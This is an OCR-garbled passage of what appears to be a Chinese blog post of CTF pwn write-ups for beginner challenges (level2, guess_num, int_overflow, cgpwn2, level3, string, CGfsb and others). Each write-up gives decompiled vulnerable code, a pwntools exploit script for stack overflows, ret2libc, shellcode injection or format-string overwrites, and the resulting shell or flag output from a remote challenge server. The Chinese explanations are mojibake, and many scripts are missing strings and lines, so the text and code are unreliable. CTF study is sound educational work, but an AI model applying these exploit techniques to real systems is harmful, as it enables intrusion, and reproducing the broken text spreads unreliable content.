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level2

1.E5%

:~# checksec level2
[#] '/root/level2’
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:

= 3 |

tthinker11

2.IDAS} Hr

1=l LA view—A Uf Fseudocode—4 kI 1% Hex view—1l LA] structures

int _ cdecl main(int argc, const char **argv, const char **envp)

2

3| wulnerable_function();

4| system("echo 'Hello World!'");
5/ return 8;

6}

#E Awvulnerable_functionif

= IDA View—4 gl Pseudocode—a [k Q]  He
1 function()

F
(%))
L
[ H
=
II‘l.‘l
-
F
m
S
[a 1)
(=)
F
m

char buf; // [esp+8h] [ebp-88h

[va]
[==]
—

system{"echo Input:");
return read(®, &buf, @x106u);
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https://blog.csdn.net/thinker11
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
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https://blog.csdn.net/thinker11/article/details/104101205

XA systemiki$, BE/bin/shT
BT RBAN

SHIFT+F12

gn| Address Length Type String

dt| ‘s’ LoAD:080 - Q0000013 C /lib/1d-1imux. s0. 2
t || |'s’| LOAD: 080 Q0000004 C libc. 50,6

Lt|| |'s"| LOAD: 080 0000000F C _I0 _stdin_used

Lt|| ['s" LOAD: 080 00000005 C read

t || |'s’ LOAD: 080 00000007 C system

Lt|| |'s" LOAD: 080 00000012 C __libc_start_main
X tgj LOAD: Q80 Q000Q00F C __gmorn_start__

xt [ LOAD:080 00000004 € GLIEC_2.0

x| '8’ Lrodata:s 0000000C C echoe Input:

x| '8! L rodata:o 00000014 C eche "Hello World!'
xt| ['5] . eh_fram 00000005  C (#2347

x| |'sY L data:0fe 00000008 C /bin/sh

fhoa

Ix

o

M ifsystempf £, 5 2#ik 0x8048320
X ifibinsh, 183t 0x0804a024
X buf, 18 B bufE iR [B] bk w2 0x88+4=140

3.EXP

from pwn import

p=remote( ,53371)

sys_addr=0x8048320

binsh_addr=0x08042024

payload 140+p32(sys_addr) 4+p32(binsh_addr)
p.recvuntil( )

p.sendline(payload)

p.interactive()

4.Flag

[#] Switching to interactive mode

1s
bin
dev
flag

level2
lib
1ib32
1ib6&

sdn.net/thinker11

guess_num

1855



] '/root/guess_num'
Arch: amdb4-64-1ittle
RELRO: Partial 0
Stack:
NX:
PIE:

£ IE

2.ida%#r

A v aon oaa L= oA vaon a4 L T T e L — = (RPN R W)

)| unsigned __int64 v11; // [rsp+38h] [rbp-8h]
w1l = _ readfsquord(©@x28u);

i setbuf(stdin, @LL);

l| setbuf(stdout, OLL);

il w3 = stderr;
setbuf(stderr, QLL);

| ove = B;

i vE = B;

il *( _OWORD *)seed = sub_BB@(v3, @LL);

)| puts("----------mm ");
puts("Welcome to a guess number game!");
e ");

il puts("Please let me know your name!™);
| printf("Your name:");
il gets(&v9);

il v4 = (const char *)seed[@];
| srand(se=d[@]);
I for (1=08; 1 <=9; ++1 )
U
) v = rand() % 6 + 1;
printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));
! printf("Please input vour guess number:");
} __is0c¢99 scanf("%d", &vo);
l puts("------------- ");
P if ( ve 1= v8
) {
7 puts("GG!");
} exit(1);
) ¥
) vd = "Success!";
L puts("Success!");
U
i sub C3E(v4);
' return @LL;
gh

gets i fF AR iR, HE - THRAEBERKN



RSP FEITY DLl AL L e Les Ll lllil O paLLI L

IDA View—4 @  Hex View-1 Pseudocode—4 [
int64 sub C3E()

2

3| printf("You are a prophet!\nHere is vour flag!");
4| system("cat ftlag");

5/ return @LL;

6(}

sub_C3EFHHAEERI KT,
BRITWEHIARER € 2B Em Y, B Slsub_C3EMME, EH#ETcatflag

BERRKAATAT, FAPEEseed, FrARAMNITEE S HIFA, HikseedBEI—NCHMIIF T, HEFZITHIsub_C3EMH
L\

X v8 18 Flv8 Flseed ) FE 2 0x20

iAidldd guess_numfBBIFEZ 0 /lib/x86_64-linux-gnu/libc.s0.6

:~# ldd guess_num
linux-vdso.so.1 (@x@@@B7fff9cde9000)
libc.so.6 = /lib/x86_64-linux-gnu/libc.so.6 (@=00007f23

S54df4000)
/1ib64/1d-1inux-x86-64.50.2 (B=x00OO7T23551ceddd)
~8 *C

3.EXP

from pwn import
from ctypes import
YVEL)
)
libc=cdll.LoadLibrary(
Ox20+p64(1)
)

(libc.rand()%6+1)
p.recvuntil( )

p.sendline(num)

p.interactive()

4.Flag

Success!
You are a prophet!
Here is your flag!cyberpeace{cl4c3b1102a8067f37e6ca7815760a72}

[#] Got EOF while reading in interactive




int_overflow
—F 4 TR A X R — i B R Hh 1
1.85%

:~# checksec int
[#] '/root/int’
Arch: 1386-32-little
RELRO: Partial RELF

Stack:
NX:
PIE

2.idasy Hr

¥ IDA - int C:\Users\HP\Desktop\int
File Edit Jump Search View Debugger Options Windows Help

EHier>~ V o @@ bt F-Fei X p O ON debugger MIESIC 0= N o

Library function Ml Regular function Ml Instruction | Data [l Unexplored = External symhol
[F] Functions window 0o & x IDA View-4 Pseudocode-A B3 @ Hex Viev-1 =

Structures

&

Erums

Imports

Exports

Function name Gen 1fint _cdecl main(int arge, const char **argy, const char **envp)
7] _exit .p 2 - .
[7] “strlen i 3| int v4; // [esp+Ch] [ebp-Ch]
[7| ___1ibc_start_main p 4
z _memset p 5| setbuf(stdin, @);
[F] —_isoco9_scant . 6| setbuf(stdout, 8);
7| __smon start o 7| setbuf(stderr, 8);
(7] _start 1 8| puts("----mmmmmmmmmo
7] __x86_get_pe_thunk_bx t 9| puts("~~ Welcome to CTF! ~
[7] deregister_tn_clones t 10| puts(” 1.Login
f| register_tm_clones t 11| puts(" 2.Exit
[7] __do_global_dtors_aux t 12| puts(*-
7] trane_dunny R 13| printf("Your choice:");
é wkhxatins;hlz -t 14| _ isoc99_scanf("%d", &1);
|£) check_passw t 15| if ( v4
S| login t 16| {
7| main ot e RPN
7] __libe_csu_init t 18 Login();
7| __libe_csu fini t .
= 19 else
(7] _tern_proc £ 2
[7] setbut ex - i, )
7] read ex ) if (vh==2)
7lorintf ex¥| 2 A
< > 23 puts("Bye~");
Line 25 of 41 %-;l ) exit(e);
25
# Graph overviev O & x 2 puts("Invalid Choicel™);
7

2
28| return @;
29

000007CA main:1 (BO4B7CA)

[E output vindow

Ua55707 USINg BU U Lype INt _ ISOCYY_SCanT(Const Crar =, ... J;

L <=

8048720: using guessed type int login(void);
ioc
AT: idle Down Disk: 20GE

B 45 m, #ENogink$EE



lchar *1ogin()
{
char buf; // [esp+Bh] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, @, 0x20u);

memset(&buf, @, Bx200u);
puts{"Please input your username:");
read(@, &=, @x19u);

printf("Hello %s\n", &s);
puts{"Please input your passwd:");
read(@, &buf, Bx199u);

return check_passwd(&buf);

B A=, ¥ Acheck _passwd & %

] IDA View—4 [ Us Feeudocode—4 9 & Stack of check p

lichar *_ cdecl check_passwd(char *s)

2

3| char *result; // eax

4| char dest; f// [esp+4h] [ebp-14h]

5/ unsigned __int8 v3; // [esp+Fh] [ebp-9h]
o

7| w3 = strlen(s);

gl if (w2 <=3u || v > 8u)

9 {

1@ puts{"Invalid Password");
11 result = (char *)fflush(stdout);

12| 1}
13| else
14| {

15 puts{"Success");
16 fflush(stdout);
17 result = strcpy(&dest, s);

18| 1}
19| return result;
20}

strepyl B 2 AN,



whats_this iR £ H8 B A RATHEZER

ID4 View—a B Pseudocode-4 B =R
1fint what_is this()
24
3| return system("cat flag");
4}

BEEPATstropy R B, RAVLAEMVIKTI, PMTET8, TPEVIRALHSER, )\MFFENT LS BERIERE0~255
KT, BTUABRATME2554F4F, BUREMIBNE N, TOiR Bl bt 5440571, Bril&259

-pREReAL7 db ? ; undefi
-pRERRA16 db ? ; undefi
-PRRRRALS db ? ; undefi
-00000014 dest db ?

-000066813 db ? ; undefi
-00006612 db ? ; undefi
-DAAOAAT 1 Ak ? - Anf

MIX B H] LUE Hpasswd R -7 N0x14 5 H . SR EBbEE BllsystemB BB B, EATH AL 15 Bflag
3.EXP

from pwn import
p=remote( ,53086)
flag addr=0x804868b

.recvuntil(

.sendline( )

.recvuntil(

.sendline( )
payload ox14 p32(flag_addr)
payload=payload.ljust(262, )
p.recvuntil( )

p.sendline(payload)

p.interactive()

Success
cyberpeace{53574160ab%e27debfa7ab1727cbce4c}
[+#] Got EOF while reading in interactive




[#] '/root/cgpwn2'
Arch: i386-32-little

RELRO: Partial RELRO

2.ida%#r



g IDA View—4 U= Preudocede-E E [EPseudocode-4 D] Hex View-
int _ cdecl main(int argc, const char **argv, const char **envp)

{

setbuf(stdin, @);
setbuf(stdout, @);
setbuf(stderr, @);
hello();
puts("thank you"});
return 9;

N

WOOLO =] Oh

#E N\ hello B %t

¥ IDA - cgpwn2 C:\Users\HP\Desktop\cgpwn2 - %
File Edit Jump Search View Debugger Options Windows Help
HH ey~ e B} G DO gl vF e X > O O|No debugger MIEGIE ] S

Library function Ml Regular function Ml Instruction | Data [l Unexplored = External symhol
FlFunctions vindow B 6§ = ID4 View-4 [EPseudocodeB @ [EPseudocode— O Hex View-1 [ Structures E Emns Inports & Exports
Function name Se™ 1lchar *hello() >
_init_proc 24
sub_80483D0 3| char *ve; // eax
setbuf 4| signed int v1; // ebx
_gets 5| unsigned int v2; // ecx
_fgets 6
7
8
9

10

i
v
p
D
D
D
p
P
P
t
__xB6_get_pc_thunk_bx )
deregister_tn_clones ot 13
register_tm_clones t
__do_global _dtors_aux t
frame_dunny ©
t
t
t
t
t
£
ex
>

libe_csu_init
__libe_csu fini
_tern_proc
setbuf

21| *(_DWORD *)&v6[v2] = 6;

v @22 2= 45

Y 8 Y Y Y Y Y Y Y Y o o Y Y |

}
24 while ( v2 < (vl & @xFFFFFFFC) );
25| v3 = &ve[v2];
i Graph overvier O & x 2% if (vi&2)

Line 18 of 28

{
28| *(_WORD *)v3 = 6;

2 v3e=2;

30| 3}
3| if (vi&1)
32 *y3 = 0;

33| puts(“"please tell me your name");

34| fgets(name, 58, stdin);

35| puts("hello,you can leave some message here:");
36| return gets(&s);

00000562 hello:1 (8048562)

Output window
SUATATYT COULU U TINU Valll Save-TeStore palr Tor eop
8048453 : positive sp value has been found

me |
AU: idle Dewn  Disk: 20CE

L <P * anfommm

gets R Hik v IR R
IDi View—i [E Pseudocode-E B3 [E Pseudocode—i
1fint pwn()

{
h

return system("echo hehehe");

P BJ

friEsystemfi$, 1HR B A binshZFF 5

N E BlfgetsF 1,

BEEAT, BAIAT LS fgets B E A binsh A &8 44 Aname EL i,
SR G B AR BE R SR E i bk, 5 R A system i i fname

systemiE S bt : 0x8048420



name &5 %5 i #i 3ik:0x804a080
sHR Bl Mk f w2 :0x26+4=42

3.EXP

from pwn import

p=remote( ,58337)
sys_addr=0x8048420
name_addr=0x804a080

p.recvuntil( )

)
42+p32(sys_addr) p32(name_addr)

)
p.sendline(payload)

p.interactive()

[#] Switching to interactive mode
1s

bin

cgpwn2

dev

flag

lib

1ib32

1ib64

https://blog.cs

when_did_you born

1.55%

:~# checksec w
[#] '/root/w'
Arch: amdb4-64-1little
RELRO: artial RELRO

Stack:
NX:
PIE:

2.IDAS} it



char v4; /f [rsp+8h] [rbp-28h]
I
unsigned _ int6d v6; // [rsp+18h

v = _ readfsqword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, @LL);
setbuf(stderr, QLL);
puts("What's Your Birth?");
__is0c¢99 scanf("%d", &v5);
while ( getchar() != 10 )

o M LR ] L W g

if (w5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = BLL;
h
else
{
puts{"What's Your Name?");
gets(&vl);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts{"You Shall Have Flag.");
system("cat flag");
}

else

{

RS RRTE RN T R W TR W RN E ST

s b WA el LT W 4 WA P

puts{"You Are Naive.");
puts{"You Speed One Second Here.");

esult = @LL;
¥

return result;

M WA ] LT W 4 LA P
T

L
BATR BEALEF AT system(“cat flag”)Bf /]

KRIMgetsiwiAE L, BHAT, %&ibve A% T 192658 )5 BT gets B 58 5 v5 81926, 5L 7T LA Rlflag
VA FIV5 ) B B H:0x20-0x18=8
3.EXP

from pwn import
p=remote( ,47153)

8+p64(1926)

p.sendline(payload)

p.interactive()




- H « By

:~# python 1.py
[+] Opening connection to 111.198.29.45 on port 47153: Done
[#] Switching teo interactive mode

You Are Born In 1926

You Shall Have Flag.
cyberpeace{de2ac2292d6e60e6f7960b9c3fc222e2}
[+#] Got EOF while reading in interactive

hello_ pwn

1.E55%

:~# checksec h
[#] '/root/h'
Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack:
NX:
PIE:

- |

2.IDAS}

1A VIEWTH =] 1 oEuuuLE L) (L=Jd) nex Vigw—1L (Lal] oLl

[|_inted fastcall main(__int64 al, char **a2, char **a3)

ai

i alarm(@x3Cu);

| setbuf(stdout, OLL);

)| puts("~e welcome to ctf ~e "Y;

puts{"lets get helloworld for bof");

read(@, &unk_ 681068, @x10ulLL);

if ( dword_60106C == 1853186401 )
sub_408686();

return BLL;

L

read B B E AR v IR TR,

B#EAsub_400686 & %+



IDA View—4 Pseudocode—4
int64 sub_400686()

{
system(“"cat flag.txt");

return @LL;

]

}

A B L read & H A 5 dword_60106¢91853186401, HLAEE Flflag

BN BB B #2 S 0x601068-0x60106C=4

3.EXP

from pwn import

41777
4+p64 (1853186401

p.sendline(payload

:~# vim 1.py

:~# python 1.py
[+] Opening connection to 111.198.29.45 on port 41777: Done
[#] Switching to interactive mode

cyberpeace{b222945013b131ec3bBdbc4562cfc54at
[+#] Got EOF while reading in interactive

ps://blog.csdn.netfthinker11

level3
ST T2 RERANERA, SOt Azip
1.8 5%

:~# checksec level3
[#] '/root/level3’
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:

= 3 |

g.csdn.netfthinker1




2.IDAS} ¥t

= IDA View—h LUE Pseudocode—4 EJ D] Hex View-1 &l 5
int _ cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable function();
write(1, "Hello, World!\n", @xEu);
return @;

-

}

Ll wiew o H=l I oo Wl 0 [==1) L= 1

It

ssize t vulnerable_function()

{

m

char buf; // [esp+8h] [ebp-88h]

[

write(1, "Input:\n", 7u);
return read(@, &buf, Bx108u);

=]

read B Hobk v tHIRTH, X8 A system BB B H bin/sh, {HR4 T RAT—AIELZ0H, FrLhiX 2 —iEret2libci R B
FRATT AT DA 5 write B 45 ) L SE b dik

buf |3 [a] #1 1 i k% 9140

3.EXP

JBiT RoPgadget --binary libc_32.s0.6 --string '/bin/sh' 3R7ElibcH Ibinsh7 757 & f ik

FedUEELl. A fXz1on =
:~# ROPgadget —binary libc_32.s0.6 —string '/bin/sh’
Strings information

@x@015982b : /bin/sh
= N |

from pwn import
,57663)

write plt=elf.plt[

main_plt=elf.symbols[

write got=elf.got[ ]
140+p32(write_plt)+p32(main_plt)+p32(1)+p32(write_got)+p32(4)

)

p.sendline(payloadl)

write_addr=u32(p.recv()[:4])

libcbase=write_addr-libc.symbols[

sys_addr=1libcbase+libc.symbols[

libc_binsh_addr=0x0015902b

binsh_addr=libcbase+libc_binsh_addr

payload 140+p32(sys_addr) p32(binsh_addr)

p.sendline(payload)

p.interactive()



4.Flag

NX: NX enabl
PIE: PIE enablec
[#] Switching to interactive mode
Input:
1s
bin

dev

flag
level3
lib
1ib32
1ib6&

i i log.csdn.netithinker11

string

185

:~# checksec string
[#] '/root/string’
Arch: amd64-64-1ittle
RELRO: Full RELROD

2.IDAS} #

| IDA View—4 U=l FPseudocode—4 [ L] Hex View-1 [A]  Structures L= Erums
1| _inté4d _ fastcall main(__inté64 al, char **a2, char **a3)
2i{

3| _DWORD *v3; // rax

4 _ inted wv4; // ST18 8

5

6| setbuf(stdout, @LL);

7| alarm(@x3Cu);

3| sub_400996(60LL, OLL);

9 3 = malloc(Bull);

18| v4 = (__int64)v3;

11| *v3 = 68;

12| v3[1] = 85;

13| puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
14| puts(“we will tell you two secret ...");

15 printf("secret[@] is %x\n", v4, a2);

16| printf("secret[1] is %x\n", v4 + 4);

17| puts(“"do not tell anyone ");

18| sub_400D72(v4);

19| puts{"The End..... Really?");

28| return OLL;

210}

BATAT LAAS B v4 iy bt



ID4 View-4 [ Fzeudocode—a [ @ Hex view-1 [
1junsigned inted  fastcall sub 400D72(_  inted al)
2i{
3| char s; // [rsp+18h] [rbp-28h]
4| unsigned  int6d v3; // [rsp+28h] [rbp-8h]

5

6 v3 = _ readfsqword(@x28u);

7| puts("What should vour character's name be:");
3| _isoc99 scanf("%s", &s);

gl if ( strlen(&:s) <= @xC )

10 {

11 puts("Creating a new plavyer.");
12 sub 4@0A7D();

13 sub 4@0BBA9();

14 sub 400CAG(( DWORD *)al);

15 )

16| else

17| {

18 puts(“Hei! What's up!™);

19| 1}

20| return _ readfsqword(@x28u) ~ v3;
21}

B R



R I LN T S I I R o T R R e WE B S == = I v R o L (R - W0y NS I S ' Y e I v [ [ o T W -~ WP S

unsigned  inte4 sub_ 400ATD()

{

char s1; // [rsp+8h] [rbp-18h]
unsigned _ int64 v2; f/ [rsp+8h] [rbp-8h]

vZ2 = _ readfsqword(®x28u);

puts("” This is a famous but quite unusual inn. The air is fresh and the");
puts(“marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs™});
puts("all around the world. The decoration loocks extremely wvaluable and would fit");
puts{"into a palace, but in this city it's quite ordinary. In the middle of the");
puts(“room are velvet covered chairs and benches, which surround large oaken");
puts(“tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts(“one corner you notice a fireplace.");

puts(“"There are two obvious exits: east, up.");

puts("But strange thing is ,no one there.");

puts(“So, where you will goreast or up?:");

while ( 1 )
{
_is0c99_scanf("%s", &s1);
if ( !stremp(&s1l, "east™) || !strcmp(&s1, “east") )
break;

puts("heil! I'm secious!");
puts("So, where you will go?:");

}

if ( strcmp(&s1, "east™) )

{
if ( !strcomp(&s1, "up"™) )

sub_4@09D0D(&=1, "up");

puts("YOU KNOW WHAT YOU DO?");
exit(@);

}

return _ readfsqword(®x28u) ~ vZ;

ID4 View—4 [ Pseudocode—4 B B  Hex view-1 [ Structures [ = Enums 8

Imports

[x]

{

nsigned _ int64 sub_400BB9()

int v1; f/ [rsp+4h] [rbp-7Ch]

__inte4 v2; f/ [rsp+8h] [rbp-78h]

char format; // [rsp+18h] [rbp-7@h]
unsigned _ int64 v4; // [rsp+78h] [rbp-8h]

vd = _ readfsqword(@x28u);
vZ2 = @LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts("”, what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1l), or leave(®)?:");
_is0c99_scanf("%d", &v1);
if (vl==1)
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_is0c99_scanf("%1d", &v2);
puts("And, you wish is:");
_is0c99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}

return _ readfsqword(@x28u) ~ v4;

printfe B 7E#E AL 777 5 e iR



1ljunsigned _ int64 _ fastcall sub_480CA6(_DWORD *al)

2i{

3| wvoid *v1; f/ rsi

4] unsigned __int64 v3; // [rsp+18h] [rbp-8h]

5

6] vi = _ readfsqword(@x28u);

7| puts("Ahu!l1IITTELIILLTTIA Dragon has appeared!!™);

8| puts("Dragon say: HaHa! vou were supposed to have a normal”);

9| puts("RPG game, but I have changed it! you have no weapon and ");
10| puts(“skill! you could not defeat me !");

11| puts("That's sound terrible! you meet final boss!but you level is ONE!");
12| if ( *al == al[1] )

13 {
14 puts("Wizard: I will help you! USE YOU SPELL");

15 vl = mmap(@LL, @x10@0ull, 7, 33, -1, OLL);

16 read(@, vl1, @x106uLL);
17 {{void (_ fastcall *)( QWORD, wvoid *))v1)(@LL, v1);

18| }
19 return _ readfsqword(®x28u) ~ v3I;

200

read BR 3T T AT CAIE S K 775 B AR R 34T, BATH LLE Ashellcode

BERERZal==a1[1], £LEH, RNEINLHRLVIHMVE], HEHRME, —4268, —/ 285
sub_400bb9 & # i % AL 7 A5 8 I TR, BATT AT LA A AR AN IR T K vB KB 2 85

MK RR P EL & RN T, BElvAR#iikoxb21260

3.EXP

I\ A7 A3 3 F A5 5 BHOR U A 0~255/) i Bl i

FECAMIREFIBITH, SHIEETEFFE.

B S HULIBLIE : AT/ SBERIGT 171 7E 55 472 rdi rsi,rdx,rex,r8,ro
SHEBEANNE, WE-EDMIFREARF

from pwn import
,43616)
)
(p.recvuntil( )[:-1],16)
p.sendlineafter(
.sendlineafter(

.sendlineafter(
.sendlineafter( 5 (v3_addr))

.sendlineafter( )
context(os
shellcode
p.recvuntil(
p.sendline(payload)
p.interactive()




s
bin
dev
flag
lib
1ib32

lib64
string

get_shell
1.85%

:~# checksec get
[#] '/root/get'
Arch: amd64-64-1ittle
RELRO: Partial RELRO

2.IDAS} #r

ID& View—h ©  Hex View-1 Pseudocode-a B [
1int _ cdecl main(int argc, const char **argv, const char **envp)
2
3| puts("OK,this time we will get a shell.");

4] system("/bin/sh");
5/ return 8;
6}

3.EXP

nc 111.198.29.45 46953

4.Flag



:~# nc 111.198.29.45 46953

flag
get_shell
lib

1ib32
1ib64

CGfsb
1.&85%

[#] '/root/cg'
Arch: 1386-32-11ittle
RELRO: L RELRO

2.IDAS} #r



LDA Yiew—4& Ul Fseudocode—4  Ed (=] Hex ¥iew—1 LA]

lint _ cdecl main(int argc, const char **argv, const char **envp)
£
{
3| int buf; // [esp+lEh] [ebp-7Eh]
4| int v5; ff [esp 2“] [ebp-78h]
5/ __ int16 v6; // [esp+26h] [ebp-76h]
6| char s; // [esp+28h] [ebp-74h]
7| unsigned int v8; // [esp+8Ch] [ebp-18h]
8
9 v8 = _ readgsdword(@x14u);
4| setbuf(stdin, @);
1| setbuf(stdout, @);
2| setbuf(stderr, @);
3| buf = 0;
4l vs = e;
5| v6 = e;
ol memset(&s, @, 8x64u);
7| puts(“"please tell me your name:");
B read(®, &buf, BxAu);
9 puts("leave your message please:");
al fgets(&s=, 108, stdin);
1| printf("hello %s", &buf);
2| puts("your message is:");
3| printf(&s);
4 if ( pwnme == 8 )
51 A
o puts("you pwned me, here is your flag:\n");
7 system("cat flag");
8 %}
g else
9l A
1 puts("Thank vyoul™);
2|}
3| return @;
ah

printff BUFEMR AL Z R/ BRI, BRI pwnme=8, 5t 6815 Zlflag
XERANHgdbE R

chmod 777 cg

gdb ./cg

b * oxg80486cd T W&

Breakpoint 1 at

r
Starting program: /root/cg
please tell me your name:

aaaa

leave your message please:
AAAA

hello aaaa

your message is:




x/16x $esp
OxfFFd2f8 oxffffd2ee 0xf7fb55c0

0x0ooooR0B0D 8x0oo00001 Pxf7ffd950

8x00Bablol 0x0oo0ooR0B0D Bx41414141

fW#H10

3.EXP

HfE: fmtstr_payload(fW# {keyi f7 ik, valuel&})

BN SRR AT B W
BASHERRFENHBNENEE, RATHIE;
BEASHERFCEHMB TN, XBEEAE, N0, RABKMER T,

BUANSBERBAFTR, BIFEFEH (byte) « #HWFET (short) ERIINFET (int) , XREhhn. hnfin, BRINERbyte, B
¥#hhnE .

from pwn import
p=remote( ,47218)
pwnme=0x0804a068

payload=fmtstr_payload(10, {pwnme:8})
.recvuntil( )
.sendline(
.recvuntil(
.sendline(payload)
.interactive()

hello aaa
your message 1s:
Nh\xa@\x04
you pwned me, here is your flag:

cyberpeace{e71ffd97609feb825220c52b851819d2}
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